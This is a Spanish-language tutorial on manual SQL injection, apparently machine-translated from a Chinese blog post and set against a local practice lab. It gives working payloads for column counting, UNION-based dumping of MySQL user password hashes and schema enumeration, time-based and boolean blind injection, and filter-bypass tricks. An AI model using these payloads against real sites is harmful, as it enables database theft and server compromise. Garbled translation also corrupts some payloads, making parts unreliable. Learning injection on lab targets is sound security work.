Defensa y ataque de seguridad WEB - inyección manual SQL

1. Principio de inyección SQL

1.1 Introducción a la inyección SQL

La inyección SQL significa que la aplicación web no juzga la legitimidad de los datos de entrada del usuario. El atacante puede controlar cuándo el front-end pasa los parámetros del back-end y los parámetros se sustituyen en la base de datos para realizar consultas. El atacante puede construir diferentes sentencias SQL para lograr la operación arbitraria de la base de datos

Las vulnerabilidades de inyección de SQL deben cumplir dos condiciones:
a. Los parámetros son controlables por el usuario.
B. Los parámetros se introducen en la base de datos para realizar consultas. Los parámetros entrantes se empalman en la declaración SQL y se incorporan a la base de datos para consultas.

1.2 peligros de la inyección SQL

a. Se filtra información confidencial de la base de datos
b, se manipula la página,
c, se opera la base de datos de manera maliciosa
d, se controla remotamente el servidor

1.3 clasificación de inyección SQL

a. La inyección de SQL se puede dividir en dos tipos según el tipo de datos de la ubicación de inyección: tipo numérico y tipo de cadena (inyección de cadena, inyección numérica)
b. Según el resultado devuelto, se puede dividir en: inyección de error y ciego inyección

1.4 Razones para la inyección SQL

a. Los datos y el código no están estrictamente separados
b. Los datos de parámetros enviados por el usuario no se verifican ni filtran por completo y se incorporan al comando SQL, cambian el comando SQL original y son ejecutados por la base de datos de destino

1.5 Descripción del proceso de inyección SQL

a. Los datos como los valores de los parámetros del cliente se modifican
b. El servidor no ha verificado ni filtrado los datos que se van a modificar en el comando SQL, la función del comando SQL se modifica
c, el motor de la base de datos ejecuta el comando SQL modificado
d, el el cliente se basa en La información sensible obtenida en la última inyección se construye para inyectar la oración para la siguiente inyección
e. El servidor devuelve el resultado de la inyección al cliente

2. Inyección SQL manual

2.1 Solicitudes GET y POST

a、GET提交:请求的数据会添加在URL之后,以?分割URL和传输数据,多个参数用&连接
b、POST提交:把提交的数据放到HTTP包的包体中

Diferencia: los datos enviados por GET se mostrarán en la barra de direcciones, mientras que los datos enviados por POST, la barra de direcciones no cambiará

2.2 Inyección de error: use símbolos para confirmar si hay un punto de inyección en la solicitud GET

La dirección en esta figura es http://127.0.0.1/sqli/less-1/?id=1 La dirección en
la figura siguiente aumenta ',
por lo que se muestra el error:' '1' 'LIMIT 0,1' ,
la declaración SQL se puede inferir preliminarmente como: seleccione xxx de xxxx donde id = '1' LIMIT 0,1
y se puede saber que id es el punto de inyección
Esta imagen

2.3 Inyección de error de visualización: juzgue la columna de la tabla de datos por orden

Ejemplo: URL: http://127.0.0.1/sqli/Less-1/?id=1 'ordenar por 4 - +
Explicación: En el ejemplo,' significa abrir la consulta SQL original y agregar orden por 4 para lograr la consulta de cambio, -Indica la declaración sql original después del comentario, + indica un espacio

Después de la prueba, ordene por 1, ordene por 2 y ordene por 3 todo funciona normalmente. Cuando ordene por 4, la interfaz de visualización es la columna Desconocida '4' en 'cláusula de orden', por lo que hay 3 columnas en esta tabla de datos de direcciones.

2.4 Inyección de error de visualización: indicación de consulta, nombre de campo, valor de campo mediante unión

2.4.1 Mostrar cuenta de datos, contraseña, IP de conexión
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(HOST,USER,PASSWORD) FROM mysql.`user`

método de inyección sql:
http://127.0.0.1/sqli/less-1/?id=0 'UNION SELECT 1,1, GROUP_CONCAT (HOST, USER, PASSWORD) FROM mysql. user- +

2.4.2 Mostrar el nombre de la tabla actual
SELECT * FROM users WHERE ID=0 UNION SELECT 1,2,DATABASE()

método de inyección sql:
http://127.0.0.1/sqli/less-1/?id=0 'UNION SELECT 1,2, DATABASE () - +

2.4.3 Consultar todas las tablas en la base de datos actual de la base de datos mysql
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()

sql 注入 方式 :
http://127.0.0.1/sqli/less-1/?id=0 'UNION SELECT 1,1, GROUP_CONCAT (table_name) FROM information_schema.tables WHERE table_schema = DATABASE () - +

2.4.4 Consultar el campo especificado en la base de datos actual de la base de datos mysql
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name='users'

sql 注入 方式 :
http://127.0.0.1/sqli/less-1/?id=0 'UNION SELECT 1,1, GROUP_CONCAT (column_name) FROM information_schema. COLUMNSDONDE tabla_esquema = BASE_DATOS () Y tabla_nombre = 'usuarios' - +

2.5 Nota ciega

2.5.1 Introducción a la inyección a ciegas

El SQL ciego (inyección ciega) es uno de los ataques de inyección, donde se producen problemas como verdadero o falso en la base de datos, y el resultado se juzga en función de la información devuelta por la aplicación. Este ataque ocurre porque la aplicación está configurada para mostrar solo errores generales, pero no resuelve el problema de código de la inyección SQL

2.5.1 Tipos de persianas

a, tipo booleano
b, ciego al tiempo

2.5.2 OBTENER persianas basadas en el tiempo

Juzgar si la inyección actual es correcta por retraso de tiempo

SELECT IF(ASCII(SUBSTR(DATABASE(),1,1))=113,1,SLEEP(5))

En la declaración SQL anterior, SUBSTR (cadena, inicio, longitud) significa tomar el campo, tomar la primera letra del nombre de la tabla de datos obtenido por Databases () y comparar esta letra a través de ASCII en un número. si (condición, Verdadero, Falso).

Método de inyección SQL:
http://127.0.0.1/sqli/less-1/?id=0 'UNION IF (ASCII (SUBSTR (DATABASE (), 1,1)) = 115,1, SLEEP (5)) - - +

2.5.3 OBTENER persianas booleanas basadas en el tiempo

Basado en notas ciegas booleanas, usualmente usamos el siguiente método para adivinar la longitud del nombre de la base de datos

SELECT (SELECT LENGTH(DATABASE())>5)

Método de inyección SQL:
http://127.0.0.1/sqli/Less-8/?id=0 'o (SELECT LENGTH (DATABASE ())> 5) - +

SELECT (SELECT ASCII(SUBSTR(DATABASE(),1,1)))>75

Método de inyección SQL:
http://127.0.0.1/sqli/Less-8/?id=0 'o (SELECT ASCII (SUBSTR (DATABASE (), 1,1)))> 75 - +

2.6 POST inyección

El método de inyección es el mismo que get. Generalmente, el punto de envío POST está en el cuadro de envío, no en la barra de URL.

2.6.1 Características de inyección basadas en errores de POST

1. La solicitud POST no se puede almacenar en caché
2. La solicitud POST no se guardará en el historial de navegación del navegador
3. La URL solicitada por POST no se puede guardar como un marcador del navegador
4. La solicitud POST no tiene límite de longitud

3. Medios de bypass de inyección SQL

3.1 Bypass de caso

Tales como:
-a, AnD 1 = 1
-b, ordenar por, puede usar OrdER para omitir

3.2 Bypass de escritura doble

Tales como: la
unión uniunionon se reemplaza con vacía, o se puede omitir en combinación con case

3.3 Omisión de codificación

Mediante codificación de URL

3.4 Omisión de comentarios en línea

A través de comentarios SQL
como: / ! Select / * from users;

Supongo que te gusta

Origin blog.csdn.net/qq_37697566/article/details/104374321
Recomendado
Clasificación